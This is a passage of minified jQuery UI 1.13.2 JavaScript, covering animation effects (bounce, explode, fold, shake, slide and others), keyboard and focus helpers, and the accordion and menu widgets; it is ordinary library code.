i={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},s=V(this),n=t.direction||"up",o=s.cssClip(),a={clip:V.extend({},o)},r=V.effects.createPlaceholder(s);a.clip[i[n][0]]=a.clip[i[n][1]],"show"===t.mode&&(s.cssClip(a.clip),r&&r.css(V.effects.clipToBox(a)),a.clip=o),r&&r.animate(V.effects.clipToBox(a),t.duration,t.easing),s.animate(a,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("bounce",function(t,e){var i,s,n=V(this),o=t.mode,a="hide"===o,r="show"===o,l=t.direction||"up",h=t.distance,c=t.times||5,o=2*c+(r||a?1:0),u=t.duration/o,d=t.easing,p="up"===l||"down"===l?"top":"left",f="up"===l||"left"===l,g=0,t=n.queue().length;for(V.effects.createPlaceholder(n),l=n.css(p),h=h||n["top"==p?"outerHeight":"outerWidth"]()/3,r&&((s={opacity:1})[p]=l,n.css("opacity",0).css(p,f?2*-h:2*h).animate(s,u,d)),a&&(h/=Math.pow(2,c-1)),(s={})[p]=l;g<c;g++)(i={})[p]=(f?"-=":"+=")+h,n.animate(i,u,d).animate(s,u,d),h=a?2*h:h/2;a&&((i={opacity:0})[p]=(f?"-=":"+=")+h,n.animate(i,u,d)),n.queue(e),V.effects.unshift(n,t,1+o)}),V.effects.define("clip","hide",function(t,e){var i={},s=V(this),n=t.direction||"vertical",o="both"===n,a=o||"horizontal"===n,o=o||"vertical"===n,n=s.cssClip();i.clip={top:o?(n.bottom-n.top)/2:n.top,right:a?(n.right-n.left)/2:n.right,bottom:o?(n.bottom-n.top)/2:n.bottom,left:a?(n.right-n.left)/2:n.left},V.effects.createPlaceholder(s),"show"===t.mode&&(s.cssClip(i.clip),i.clip=n),s.animate(i,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("drop","hide",function(t,e){var i=V(this),s="show"===t.mode,n=t.direction||"left",o="up"===n||"down"===n?"top":"left",a="up"===n||"left"===n?"-=":"+=",r="+="==a?"-=":"+=",l={opacity:0};V.effects.createPlaceholder(i),n=t.distance||i["top"==o?"outerHeight":"outerWidth"](!0)/2,l[o]=a+n,s&&(i.css(l),l[o]=r+n,l.opacity=1),i.animate(l,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("explode","hide",function(t,e){var i,s,n,o,a,r,l=t.pieces?Math.round(Math.sqrt(t.pieces)):3,h=l,c=V(this),u="show"===t.mode,d=c.show().css("visibility","hidden").offset(),p=Math.ceil(c.outerWidth()/h),f=Math.ceil(c.outerHeight()/l),g=[];function m(){g.push(this),g.length===l*h&&(c.css({visibility:"visible"}),V(g).remove(),e())}for(i=0;i<l;i++)for(o=d.top+i*f,r=i-(l-1)/2,s=0;s<h;s++)n=d.left+s*p,a=s-(h-1)/2,c.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-s*p,top:-i*f}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:p,height:f,left:n+(u?a*p:0),top:o+(u?r*f:0),opacity:u?0:1}).animate({left:n+(u?0:a*p),top:o+(u?0:r*f),opacity:u?1:0},t.duration||500,t.easing,m)}),V.effects.define("fade","toggle",function(t,e){var i="show"===t.mode;V(this).css("opacity",i?0:1).animate({opacity:i?1:0},{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("fold","hide",function(e,t){var i=V(this),s=e.mode,n="show"===s,o="hide"===s,a=e.size||15,r=/([0-9]+)%/.exec(a),l=!!e.horizFirst?["right","bottom"]:["bottom","right"],h=e.duration/2,c=V.effects.createPlaceholder(i),u=i.cssClip(),d={clip:V.extend({},u)},p={clip:V.extend({},u)},f=[u[l[0]],u[l[1]]],s=i.queue().length;r&&(a=parseInt(r[1],10)/100*f[o?0:1]),d.clip[l[0]]=a,p.clip[l[0]]=a,p.clip[l[1]]=0,n&&(i.cssClip(p.clip),c&&c.css(V.effects.clipToBox(p)),p.clip=u),i.queue(function(t){c&&c.animate(V.effects.clipToBox(d),h,e.easing).animate(V.effects.clipToBox(p),h,e.easing),t()}).animate(d,h,e.easing).animate(p,h,e.easing).queue(t),V.effects.unshift(i,s,4)}),V.effects.define("highlight","show",function(t,e){var i=V(this),s={backgroundColor:i.css("backgroundColor")};"hide"===t.mode&&(s.opacity=0),V.effects.saveStyle(i),i.css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(s,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("size",function(s,e){var n,i=V(this),t=["fontSize"],o=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],a=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],r=s.mode,l="effect"!==r,h=s.scale||"both",c=s.origin||["middle","center"],u=i.css("position"),d=i.position(),p=V.effects.scaledDimensions(i),f=s.from||p,g=s.to||V.effects.scaledDimensions(i,0);V.effects.createPlaceholder(i),"show"===r&&(r=f,f=g,g=r),n={from:{y:f.height/p.height,x:f.width/p.width},to:{y:g.height/p.height,x:g.width/p.width}},"box"!==h&&"both"!==h||(n.from.y!==n.to.y&&(f=V.effects.setTransition(i,o,n.from.y,f),g=V.effects.setTransition(i,o,n.to.y,g)),n.from.x!==n.to.x&&(f=V.effects.setTransition(i,a,n.from.x,f),g=V.effects.setTransition(i,a,n.to.x,g))),"content"!==h&&"both"!==h||n.from.y!==n.to.y&&(f=V.effects.setTransition(i,t,n.from.y,f),g=V.effects.setTransition(i,t,n.to.y,g)),c&&(c=V.effects.getBaseline(c,p),f.top=(p.outerHeight-f.outerHeight)*c.y+d.top,f.left=(p.outerWidth-f.outerWidth)*c.x+d.left,g.top=(p.outerHeight-g.outerHeight)*c.y+d.top,g.left=(p.outerWidth-g.outerWidth)*c.x+d.left),delete f.outerHeight,delete f.outerWidth,i.css(f),"content"!==h&&"both"!==h||(o=o.concat(["marginTop","marginBottom"]).concat(t),a=a.concat(["marginLeft","marginRight"]),i.find("*[width]").each(function(){var t=V(this),e=V.effects.scaledDimensions(t),i={height:e.height*n.from.y,width:e.width*n.from.x,outerHeight:e.outerHeight*n.from.y,outerWidth:e.outerWidth*n.from.x},e={height:e.height*n.to.y,width:e.width*n.to.x,outerHeight:e.height*n.to.y,outerWidth:e.width*n.to.x};n.from.y!==n.to.y&&(i=V.effects.setTransition(t,o,n.from.y,i),e=V.effects.setTransition(t,o,n.to.y,e)),n.from.x!==n.to.x&&(i=V.effects.setTransition(t,a,n.from.x,i),e=V.effects.setTransition(t,a,n.to.x,e)),l&&V.effects.saveStyle(t),t.css(i),t.animate(e,s.duration,s.easing,function(){l&&V.effects.restoreStyle(t)})})),i.animate(g,{queue:!1,duration:s.duration,easing:s.easing,complete:function(){var t=i.offset();0===g.opacity&&i.css("opacity",f.opacity),l||(i.css("position","static"===u?"relative":u).offset(t),V.effects.saveStyle(i)),e()}})}),V.effects.define("scale",function(t,e){var i=V(this),s=t.mode,s=parseInt(t.percent,10)||(0===parseInt(t.percent,10)||"effect"!==s?0:100),s=V.extend(!0,{from:V.effects.scaledDimensions(i),to:V.effects.scaledDimensions(i,s,t.direction||"both"),origin:t.origin||["middle","center"]},t);t.fade&&(s.from.opacity=1,s.to.opacity=0),V.effects.effect.size.call(this,s,e)}),V.effects.define("puff","hide",function(t,e){t=V.extend(!0,{},t,{fade:!0,percent:parseInt(t.percent,10)||150});V.effects.effect.scale.call(this,t,e)}),V.effects.define("pulsate","show",function(t,e){var i=V(this),s=t.mode,n="show"===s,o=2*(t.times||5)+(n||"hide"===s?1:0),a=t.duration/o,r=0,l=1,s=i.queue().length;for(!n&&i.is(":visible")||(i.css("opacity",0).show(),r=1);l<o;l++)i.animate({opacity:r},a,t.easing),r=1-r;i.animate({opacity:r},a,t.easing),i.queue(e),V.effects.unshift(i,s,1+o)}),V.effects.define("shake",function(t,e){var i=1,s=V(this),n=t.direction||"left",o=t.distance||20,a=t.times||3,r=2*a+1,l=Math.round(t.duration/r),h="up"===n||"down"===n?"top":"left",c="up"===n||"left"===n,u={},d={},p={},n=s.queue().length;for(V.effects.createPlaceholder(s),u[h]=(c?"-=":"+=")+o,d[h]=(c?"+=":"-=")+2*o,p[h]=(c?"-=":"+=")+2*o,s.animate(u,l,t.easing);i<a;i++)s.animate(d,l,t.easing).animate(p,l,t.easing);s.animate(d,l,t.easing).animate(u,l/2,t.easing).queue(e),V.effects.unshift(s,n,1+r)}),V.effects.define("slide","show",function(t,e){var i,s,n=V(this),o={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},a=t.mode,r=t.direction||"left",l="up"===r||"down"===r?"top":"left",h="up"===r||"left"===r,c=t.distance||n["top"==l?"outerHeight":"outerWidth"](!0),u={};V.effects.createPlaceholder(n),i=n.cssClip(),s=n.position()[l],u[l]=(h?-1:1)*c+s,u.clip=n.cssClip(),u.clip[o[r][1]]=u.clip[o[r][0]],"show"===a&&(n.cssClip(u.clip),n.css(l,u[l]),u.clip=i,u[l]=s),n.animate(u,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),y=!1!==V.uiBackCompat?V.effects.define("transfer",function(t,e){V(this).transfer(t,e)}):y;V.ui.focusable=function(t,e){var i,s,n,o,a=t.nodeName.toLowerCase();return"area"===a?(s=(i=t.parentNode).name,!(!t.href||!s||"map"!==i.nodeName.toLowerCase())&&(0<(s=V("img[usemap='#"+s+"']")).length&&s.is(":visible"))):(/^(input|select|textarea|button|object)$/.test(a)?(n=!t.disabled)&&(o=V(t).closest("fieldset")[0])&&(n=!o.disabled):n="a"===a&&t.href||e,n&&V(t).is(":visible")&&function(t){var e=t.css("visibility");for(;"inherit"===e;)t=t.parent(),e=t.css("visibility");return"visible"===e}(V(t)))},V.extend(V.expr.pseudos,{focusable:function(t){return V.ui.focusable(t,null!=V.attr(t,"tabindex"))}});var Q,J;V.ui.focusable,V.fn._form=function(){return"string"==typeof this[0].form?this.closest("form"):V(this[0].form)},V.ui.formResetMixin={_formResetHandler:function(){var e=V(this);setTimeout(function(){var t=e.data("ui-form-reset-instances");V.each(t,function(){this.refresh()})})},_bindFormResetHandler:function(){var t;this.form=this.element._form(),this.form.length&&((t=this.form.data("ui-form-reset-instances")||[]).length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t))},_unbindFormResetHandler:function(){var t;this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(V.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}};V.expr.pseudos||(V.expr.pseudos=V.expr[":"]),V.uniqueSort||(V.uniqueSort=V.unique),V.escapeSelector||(Q=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,J=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t},V.escapeSelector=function(t){return(t+"").replace(Q,J)}),V.fn.even&&V.fn.odd||V.fn.extend({even:function(){return this.filter(function(t){return t%2==0})},odd:function(){return this.filter(function(t){return t%2==1})}});var Z;V.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},V.fn.labels=function(){var t,e,i;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(e=this.eq(0).parents("label"),(t=this.attr("id"))&&(i=(i=this.eq(0).parents().last()).add((i.length?i:this).siblings()),t="label[for='"+V.escapeSelector(t)+"']",e=e.add(i.find(t).addBack(t))),this.pushStack(e)):this.pushStack([])},V.fn.scrollParent=function(t){var e=this.css("position"),i="absolute"===e,s=t?/(auto|scroll|hidden)/:/(auto|scroll)/,t=this.parents().filter(function(){var t=V(this);return(!i||"static"!==t.css("position"))&&s.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==e&&t.length?t:V(this[0].ownerDocument||document)},V.extend(V.expr.pseudos,{tabbable:function(t){var e=V.attr(t,"tabindex"),i=null!=e;return(!i||0<=e)&&V.ui.focusable(t,i)}}),V.fn.extend({uniqueId:(Z=0,function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++Z)})}),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&V(this).removeAttr("id")})}}),V.widget("ui.accordion",{version:"1.13.2",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(t){return t.find("> li > :first-child").add(t.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var t=this.options;this.prevShow=this.prevHide=V(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),t.collapsible||!1!==t.active&&null!=t.active||(t.active=0),this._processPanels(),t.active<0&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():V()}},_createIcons:function(){var t,e=this.options.icons;e&&(t=V("<span>"),this._addClass(t,"ui-accordion-header-icon","ui-icon "+e.header),t.prependTo(this.headers),t=this.active.children(".ui-accordion-header-icon"),this._removeClass(t,e.header)._addClass(t,null,e.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var t;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),t=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&t.css("height","")},_setOption:function(t,e){"active"!==t?("event"===t&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(e)),this._super(t,e),"collapsible"!==t||e||!1!==this.options.active||this._activate(0),"icons"===t&&(this._destroyIcons(),e&&this._createIcons())):this._activate(e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!t)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var e=V.ui.keyCode,i=this.headers.length,s=this.headers.index(t.target),n=!1;switch(t.keyCode){case e.RIGHT:case e.DOWN:n=this.headers[(s+1)%i];break;case e.LEFT:case e.UP:n=this.headers[(s-1+i)%i];break;case e.SPACE:case e.ENTER:this._eventHandler(t);break;case e.HOME:n=this.headers[0];break;case e.END:n=this.headers[i-1]}n&&(V(t.target).attr("tabIndex",-1),V(n).attr("tabIndex",0),V(n).trigger("focus"),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===V.ui.keyCode.UP&&t.ctrlKey&&V(t.currentTarget).prev().trigger("focus")},refresh:function(){var t=this.options;this._processPanels(),!1===t.active&&!0===t.collapsible||!this.headers.length?(t.active=!1,this.active=V()):!1===t.active?this._activate(0):this.active.length&&!V.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=V()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var t=this.headers,e=this.panels;"function"==typeof this.options.header?this.headers=this.options.header(this.element):this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),e&&(this._off(t.not(this.headers)),this._off(e.not(this.panels)))},_refresh:function(){var i,t=this.options,e=t.heightStyle,s=this.element.parent();this.active=this._findActive(t.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var t=V(this),e=t.uniqueId().attr("id"),i=t.next(),s=i.uniqueId().attr("id");t.attr("aria-controls",s),i.attr("aria-labelledby",e)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(t.event),"fill"===e?(i=s.height(),this.element.siblings(":visible").each(function(){var t=V(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.headers.each(function(){i-=V(this).outerHeight(!0)}),this.headers.next().each(function(){V(this).height(Math.max(0,i-V(this).innerHeight()+V(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.headers.next().each(function(){var t=V(this).is(":visible");t||V(this).show(),i=Math.max(i,V(this).css("height","").height()),t||V(this).hide()}).height(i))},_activate:function(t){t=this._findActive(t)[0];t!==this.active[0]&&(t=t||this.active[0],this._eventHandler({target:t,currentTarget:t,preventDefault:V.noop}))},_findActive:function(t){return"number"==typeof t?this.headers.eq(t):V()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&V.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var e=this.options,i=this.active,s=V(t.currentTarget),n=s[0]===i[0],o=n&&e.collapsible,a=o?V():s.next(),r=i.next(),a={oldHeader:i,oldPanel:r,newHeader:o?V():s,newPanel:a};t.preventDefault(),n&&!e.collapsible||!1===this._trigger("beforeActivate",t,a)||(e.active=!o&&this.headers.index(s),this.active=n?V():s,this._toggle(a),this._removeClass(i,"ui-accordion-header-active","ui-state-active"),e.icons&&(i=i.children(".ui-accordion-header-icon"),this._removeClass(i,null,e.icons.activeHeader)._addClass(i,null,e.icons.header)),n||(this._removeClass(s,"ui-accordion-header-collapsed")._addClass(s,"ui-accordion-header-active","ui-state-active"),e.icons&&(n=s.children(".ui-accordion-header-icon"),this._removeClass(n,null,e.icons.header)._addClass(n,null,e.icons.activeHeader)),this._addClass(s.next(),"ui-accordion-content-active")))},_toggle:function(t){var e=t.newPanel,i=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=e,this.prevHide=i,this.options.animate?this._animate(e,i,t):(i.hide(),e.show(),this._toggleComplete(t)),i.attr({"aria-hidden":"true"}),i.prev().attr({"aria-selected":"false","aria-expanded":"false"}),e.length&&i.length?i.prev().attr({tabIndex:-1,"aria-expanded":"false"}):e.length&&this.headers.filter(function(){return 0===parseInt(V(this).attr("tabIndex"),10)}).attr("tabIndex",-1),e.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(t,i,e){var s,n,o,a=this,r=0,l=t.css("box-sizing"),h=t.length&&(!i.length||t.index()<i.index()),c=this.options.animate||{},u=h&&c.down||c,h=function(){a._toggleComplete(e)};return n=(n="string"==typeof u?u:n)||u.easing||c.easing,o=(o="number"==typeof u?u:o)||u.duration||c.duration,i.length?t.length?(s=t.show().outerHeight(),i.animate(this.hideProps,{duration:o,easing:n,step:function(t,e){e.now=Math.round(t)}}),void t.hide().animate(this.showProps,{duration:o,easing:n,complete:h,step:function(t,e){e.now=Math.round(t),"height"!==e.prop?"content-box"===l&&(r+=e.now):"content"!==a.options.heightStyle&&(e.now=Math.round(s-i.outerHeight()-r),r=0)}})):i.animate(this.hideProps,o,n,h):t.animate(this.showProps,o,n,h)},_toggleComplete:function(t){var e=t.oldPanel,i=e.prev();this._removeClass(e,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),e.length&&(e.parent()[0].className=e.parent()[0].className),this._trigger("activate",null,t)}}),V.ui.safeActiveElement=function(e){var i;try{i=e.activeElement}catch(t){i=e.body}return i=!(i=i||e.body).nodeName?e.body:i},V.widget("ui.menu",{version:"1.13.2",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.lastMousePosition={x:null,y:null},this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(t){t.preventDefault(),this._activateItem(t)},"click .ui-menu-item":function(t){var e=V(t.target),i=V(V.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&e.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),e.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&i.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var i=this.active||this._menuItems().first();e||this.focus(t,i)},blur:function(t){this._delay(function(){V.contains(this.element[0],V.ui.safeActiveElement(this.document[0]))||this.collapseAll(t)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){this._closeOnDocumentClick(t)&&this.collapseAll(t,!0),this.mouseHandled=!1}})},_activateItem:function(t){var e,i;this.previousFilter||t.clientX===this.lastMousePosition.x&&t.clientY===this.lastMousePosition.y||(this.lastMousePosition={x:t.clientX,y:t.clientY},e=V(t.target).closest(".ui-menu-item"),i=V(t.currentTarget),e[0]===i[0]&&(i.is(".ui-state-active")||(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(t,i))))},_destroy:function(){var t=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),t.children().each(function(){var t=V(this);t.data("ui-menu-submenu-caret")&&t.remove()})},_keydown:function(t){var e,i,s,n=!0;switch(t.keyCode){case V.ui.keyCode.PAGE_UP:this.previousPage(t);break;case V.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case V.ui.keyCode.HOME:this._move("first","first",t);break;case V.ui.keyCode.END:this._move("last","last",t);break;case V.ui.keyCode.UP:this.previous(t);break;case V.ui.keyCode.DOWN:this.next(t);break;case V.ui.keyCode.LEFT:this.collapse(t);break;case V.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case V.ui.keyCode.ENTER:case V.ui.keyCode.SPACE:this._activate(t);break;case V.ui.keyCode.ESCAPE:this.collapse(t);break;default:e=this.previousFilter||"",s=n=!1,i=96<=t.keyCode&&t.keyCode<=105?(t.keyCode-96).toString():String.fromCharCode(t.keyCode),clearTimeout(this.filterTimer),i===e?s=!0:i=e+i,e=this._filterMenuItems(i),(e=s&&-1!==e.index(this.active.next())?this.active.nextAll(".ui-menu-item"):e).length||(i=String.fromCharCode(t.keyCode),e=this._filterMenuItems(i)),e.length?(this.focus(t,e),this.previousFilter=i,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}n&&t.preventDefault()},_activate:function(t){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var t,e,s=this,n=this.options.icons.submenu,i=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),e=i.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var t=V(this),e=t.prev(),i=V("<span>").data("ui-menu-submenu-caret",!0);s._addClass(i,"ui-menu-icon","ui-icon "+n),e.attr("aria-haspopup","true").prepend(i),t.attr("aria-labelledby",e.attr("id"))}),this._addClass(e,"ui-menu","ui-widget ui-widget-content ui-front"),(t=i.add(this.element).find(this.options.items)).not(".ui-menu-item").each(function(){var t=V(this);s._isDivider(t)&&s._addClass(t,"ui-menu-divider","ui-widget-content")}),i=(e=t.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(e,"ui-menu-item")._addClass(i,"ui-menu-item-wrapper"),t.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!V.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){var i;"icons"===t&&(i=this.element.find(".ui-menu-icon"),this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,e.submenu)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",String(t)),this._toggleClass(null,"ui-state-disabled",!!t)},focus:function(t,e){var i;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),(i=e.children(".ui-menu")).length&&t&&/^mouse/.test(t.type)&&this._startOpening(i),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(t){var e,i,s;this._hasScroll()&&(i=parseFloat(V.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(V.css(this.activeMenu[0],"paddingTop"))||0,e=t.offset().top-this.activeMenu.offset().top-i-s,i=this.activeMenu.scrollTop(),s=this.activeMenu.height(),t=t.outerHeight(),e<0?this.activeMenu.scrollTop(i+e):s<e+t&&this.activeMenu.scrollTop(i+e-s+t))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",t,{item:this.active}),this.active=null)},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(t)},this.delay))},_open:function(t){var e=V.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(e)},collapseAll:function(e,i){clearTimeout(this.timer),this.timer=this._delay(function(){var t=i?this.element:V(e&&e.target).closest(this.element.find(".ui-menu"));t.length||(t=this.element),this._close(t),this.blur(e),this._removeClass(t.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=t},i?0:this.delay)},_close:function(t){(t=t||(this.active?this.active.parent():this.element)).find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(t){return!V(t.target).closest(".ui-menu").length},_isDivider:function(t){return!/[^\-\u2014\u2013\s]/.test(t.text())},collapse:function(t){var e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this._menuItems(this.active.children(".ui-menu")).first();e&&e.length&&(this._open(e.parent()),this._delay(function(){this.focus(t,e)}))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(t){return(t||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(t,e,i){var s;(s=this.active?"first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").last():this.active[t+"All"](".ui-menu-item").first():s)&&s.length&&this.active||(s=this._menuItems(this.activeMenu)[e]()),this.focus(i,s)},nextPage:function(t){var e,i,s;this.active?this.isLastItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===V.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each(function(){return(e=V(this)).offset().top-i-s<0}),this.focus(t,e)):this.focus(t,this._menuItems(this.activeMenu)[this.active?"last":"first"]())):this.next(t)},previousPage:function(t){var e,i,s;this.active?this.isFirstItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===V.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each(function(){return 0<(e=V(this)).offset().top-i+s}),this.focus(t,e)):this.focus(t,this._menuItems(this.activeMenu).first())):this.next(t)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||V(t.target).closest(".ui-menu-item");var e={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,e)},_filterMenuItems:function(t){var 